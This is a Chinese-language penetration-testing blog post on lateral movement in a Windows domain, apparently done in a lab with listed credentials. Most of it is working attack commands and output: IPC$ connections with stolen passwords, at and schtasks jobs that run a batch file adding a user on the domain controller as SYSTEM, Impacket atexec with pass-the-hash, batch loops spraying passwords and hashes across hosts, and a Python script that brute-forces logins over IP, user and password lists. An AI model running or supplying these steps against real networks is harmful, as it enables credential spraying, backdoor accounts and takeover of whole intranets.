【内网渗透】域横向批量验证at&schtasks&atexec


0x001 域环境组成

DC:win2008         【username:tencent\administrator,password:123@.com】
webserver:win2003  【username:tencent\win2003,password:2003!@#.com】
客户机:win7         【username:tencent\win7,password:7!@#.com】

域环境搭建:https://blog.csdn.net/weixin_44032232/article/details/105824463

在拿下一台内网主机后,通过本地信息搜集,收集用户凭证等信息后,如何横向渗透拿下更多的主机?

这里仅介绍at&schtasks命令的使用,在已知目标系统的用户明文密码的基础上,直接可以在远程主机上执行命令。

0x002 自带命令at&schtasks

利用条件:

  • 端口开放139、445
  • 防火墙没有屏蔽上面端口
1. 建立IPC链接到目标主机
2. 拷贝要执行的命令脚本到目标主机
3. 查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本
4. 删除IPC链接
net use \\server\ipc$"password" /user:username        # 工作组
net use \\server\ipc$"password" /user:domain\username # 域用户
dir \\xx.xx.xx.xx\C$\                                 # 查看文件列表
copy \\xx.xx.xx.xx\C$\1.bat 1.bat                     # 下载文件
copy 1.bat \\xx.xx.xx.xx\C$                           # 复制文件
net use \\xx.xx.xx.xx\C$\1.bat /del                   # 删除IPC
net view xx.xx.xx.xx                                  # 查看对方共享

利用过程:

获取到某域主机权限->minikatz得到密码(明文,hash)->用到信息收集里面域用户的列表当做用户名字典->用到密码明文当做密码字典-》尝试连接->创建计划任务(at|schtasks)->执行文件可为后门或者相关命令

假设我们在知道DC密码时:

在win2003主机上操作如下:

1)获取域用户

C:\Documents and Settings\win2003.TENCENT>net user /domain
这项请求将在域 tencent.com 的域控制器处理。

\\WIN-83V1721VG9V.tencent.com 的用户帐户

-------------------------------------------------------------------------------
Administrator            Guest                    krbtgt
win2003                  win7
命令成功完成。

2)查看域控

C:\Documents and Settings\win2003.TENCENT>net time /domain
\\WIN-83V1721VG9V.tencent.com 的当前时间是 2021-3-6 13:45

命令成功完成。

3)查看域控IP

C:\Documents and Settings\win2003.TENCENT>ping WIN-83V1721VG9V.tencent.com

Pinging WIN-83V1721VG9V.tencent.com [10.0.0.1] with 32 bytes of data:

Reply from 10.0.0.1: bytes=32 time<1ms TTL=128
Reply from 10.0.0.1: bytes=32 time=1ms TTL=128
Reply from 10.0.0.1: bytes=32 time<1ms TTL=128
Reply from 10.0.0.1: bytes=32 time<1ms TTL=128

Ping statistics for 10.0.0.1:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 0ms, Maximum = 1ms, Average = 0ms

4)建立IPC连接

C:\Documents and Settings\win2003.TENCENT>net use \\10.0.0.1\ipc$ 123@.com /user:tencent\administrator
命令成功完成。

C:\Documents and Settings\win2003.TENCENT>net use
会记录新的网络连接。

状态       本地        远程                      网络
-------------------------------------------------------------------------------
OK                     \\10.0.0.1\ipc$           Microsoft Windows Network
命令成功完成。

5)本地脚本发送至域控

脚本1.bat:net user test test!@#.com /add

copy 1.bat \\10.0.0.1\C$    # 将脚本发送到域控c盘

6)查看域控当前时间

C:\>net time /domain
\\WIN-83V1721VG9V.tencent.com 的当前时间是 2021-3-6 14:15

命令成功完成。

7)创建计划任务执行脚本

at \\10.0.0.1 14:18 c:\add.bat

8)查看是否新增用户

C:\>net user /domain
这项请求将在域 tencent.com 的域控制器处理。

\\WIN-83V1721VG9V.tencent.com 的用户帐户
-------------------------------------------------------------------------------
test                        Administrator            Guest
krbtgt                      win2003                  win7
命令成功完成。

# test为我们脚本执行后新创建的用户,也可以将其加到管理员组

9)删除IPC

net use \\10.0.0.1\C$\1.bat /del  

建立IPC常见的错误代码

15:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限
(251:网络问题,Windows 无法找到网络路径
(353:找不到网络路径,可能是IP地址错误、目标未开机、目标Lanmanserver服务未启动、有防火墙等问题
(467:找不到网络名,本地Lanmanworkstation服务未启动,目标删除ipc$
(51219:提供的凭据和已存在的凭据集冲突,说明已建立IPC$,需要先删除
(61326:账号密码错误
(71792:目标NetLogon服务未启动,连接域控常常会出现此情况
(82242:用户密码过期,目标有账号策略,强制定期更改密码

建立IPC失败的原因

1)目标系统不是NT或以上的操作系统
(2)对方没有打开IPC$共享
(3)对方未开启139445端口,或者被防火墙屏蔽
(4)输出命令、账号密码有错误

不同操作系统的命令不同

目标操作系统 < Windows2012

net use \\10.0.0.1\ipc$ "[email protected]" /user:tencent\ad
ministrator # 建立ipc连接:
copy add.bat \\10.0.0.1\c$  #拷贝执行文件到目标机器
at \\10.0.0.1 15:47 c:\add.bat    #添加计划任务

目标操作系统 >=Windows2012

net use \\10.0.0.1\ipc$ "admin!@#45" /user:god.org\ad
ministrator # 建立ipc连接:
copy add.bat \\10.0.0.1\c$ #复制文件到其C盘
schtasks /create /s 10.0.0.1 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat /F #创建adduser任务对应执行文件
schtasks /run /s 10.0.0.1 /tn adduser /i #运行adduser任务
schtasks /delete /s 10.0.0.1 /tn adduser /f#删除adduser任务

注意:一般我们用域用户操作以上步骤时可能会权限不足导致无法执行一些系统命令,所以我们在收集完域信息后需要用本地高权限用户进行以上操作。

0x003 第三方工具atexec

使用第三方工具传输用户名和密码进行验证自带提权

D:\RichChigga-impacket-examples-windows-master\impacket-examples-windows>atexec.exe tencent/administrator:123@.com@10.0.0.1 "whoami"
Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies

[!] This will work ONLY on Windows >= Vista
[*] Creating task \WqukoWZX
[*] Running task \WqukoWZX
[*] Deleting task \WqukoWZX
[*] Attempting to read ADMIN$\Temp\WqukoWZX.tmp
[*] Attempting to read ADMIN$\Temp\WqukoWZX.tmp
nt authority\system        # 权限为system

即可传送明文也可传送密文

atexec.exe ./administrator:123@.com@10.0.0.1 "whoami"
atexec.exe tencent/administrator:123@.com@10.0.0.1 "whoami"
atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@10.0.0.1 "whoami"

第三方软件缺点:容易被杀毒软件查杀,需要做免杀处理。

下载地址:https://gitee.com/RichChigga/impacket-examples-windows

0x004 批量建立IPC连接

上面这两种方式每次只能验证一个用户和一个密码,下面用批处理进行批量建立连接:

FOR /F %%i in (ips.txt) do net use \\%%i\ipc$ "admin!@#45" /user:administrator #批量检测IP对应明文连接
FOR /F %%i in (ips.txt) do atexec.exe ./administrator:admin!@#45@%%i whoami    #批量检测IP对应明文回显版
FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%i@10.0.0.1 whoami     #批量检测明文对应IP回显版
FOR /F %%i in (hash.txt) do atexec.exe -hashes :%%i ./administrator@10.0.0.1 whoami #批量检测HASH对应IP回显版

批量建立连接升级版

net use \\192.168.3.32\ipc$ admin!@#45 /user:god\dbadmin

#pip install pyinstaller
#pyinstaller -F fuck_neiwang_001.py 生成可执行EXE
import os,time
ips={
    
    
    '192.168.3.21',
    '192.168.3.25',
    '192.168.3.29',
    '192.168.3.30',
    '192.168.3.31',
    '192.168.3.33'
}

users={
    
    
    'Administrator',
    'boss',
    'dbadmin',
    'fileadmin',
    'mack',
    'mary',
    'vpnadm',
    'webadmin'
}
passs={
    
    
    'admin',
    'admin!@#45',
    'Admin12345'
}

for ip in ips:
    for user in users:
        for mima in passs:
            exec="net use \\"+ "\\"+ip+'\ipc$ '+mima+' /user:god\\'+user
            print('--->'+exec+'<---')
            os.system(exec)
            time.sleep(1)

上面程序运行结束net use查看建立了哪些连接,剩下的就是使用自带命令at&schtasks上传脚本进行控制。

以上操作都是在我们知道用户和密码的情况下进行验证的,前期除了收集明文密码HASH等,还收集了用户名,用户名配合密码字典,进行上面的批量验证

主机A   收集主机A的用户名和密码  组成字典
主机B   用主机A的用户信息验证是否可以登录到主机B,如果可以登录在收集主机B的用户信息,将信息添加到上面的字典里。
主机C   用上面的字典验证是否可以登录到主机C,如果可以登录依旧收集相关信息添加到字典中

不断重复上面步骤,收集的信息越多字典越大,我们验证成功的可能性越大,实现从获得1台主机到内网中所有主机的操作

猜你喜欢

转载自blog.csdn.net/weixin_44032232/article/details/114437051